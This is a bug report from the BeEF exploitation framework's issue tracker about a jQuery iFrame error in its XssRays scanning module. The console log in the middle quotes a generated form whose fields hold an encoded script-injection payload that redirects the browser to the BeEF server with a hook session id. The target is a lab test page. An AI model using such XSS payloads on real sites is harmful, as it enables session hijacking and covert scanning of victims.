passbe/beef-migration-test-3 — Issue #410: <xssrays> c.defaultView.getComputedStyle(a, null) is null 
Author: passbe
Created: 2011-12-09 00:52:05+00:00
State: open

When checking for XSS on POST parameters, a form element with the appropriate vector is created inside an iFrame.

[...]
The following is shown in the console (note the error):

[xssrays] Creating form [<form action="http://192.168.10.133:8080/wavsep/RXSS-Detection-Evaluation-POST/Case1-Tag2HtmlPageScope.jsp" method="post" id="frm"><textarea name="userinput">&quot;&gt;&lt;script&gt;document.location.href=&#39;http://192.168.10.1:3000/ui/xssrays/rays?hbsess=xGKcFIUVgs9L2xIEpFeapM13WQ4jH3QgwhaVm8us47yxbosLlPKqPNIqVMExZ5fdlmHGJ01a5iChzpRh&raysscanid=1&poc=http://192.168.10.133:8080/wavsep/RXSS-Detection-Evaluation-POST/Case1-Tag2HtmlPageScope.jsp?userinput=something&name=Standard script injection double&method=POST&#39;&lt;/script&gt;</textarea><textarea name="">&quot;&gt;&lt;script&gt;document.location.href=&#39;http://192.168.10.1:3000/ui/xssrays/rays?hbsess=xGKcFIUVgs9L2xIEpFeapM13WQ4jH3QgwhaVm8us47yxbosLlPKqPNIqVMExZ5fdlmHGJ01a5iChzpRh&raysscanid=1&poc=http://192.168.10.133:8080/wavsep/RXSS-Detection-Evaluation-POST/Case1-Tag2HtmlPageScope.jsp?userinput=something=something&name=Standard script injection double&method=POST&#39;&lt;/script&gt;</textarea></form>]
[xssrays] submitting form

c.defaultView.getComputedStyle(a, null) is null
[Break On This Error] (function(a,b){function ci(a){return d...:a+"px")}}),a.jQuery=a.$=d})(window);
hook.js (line 31)

[XssRays] complete beef.net.xssrays.completed [1] - beef.net.xssrays.totalConnections [2]

[...]

jQuery used in iFrames is affected by a bug:
http://bugs.jquery.com/ticket/8763

Google Code Issue: http://code.google.com/p/beef/issues/detail?id=423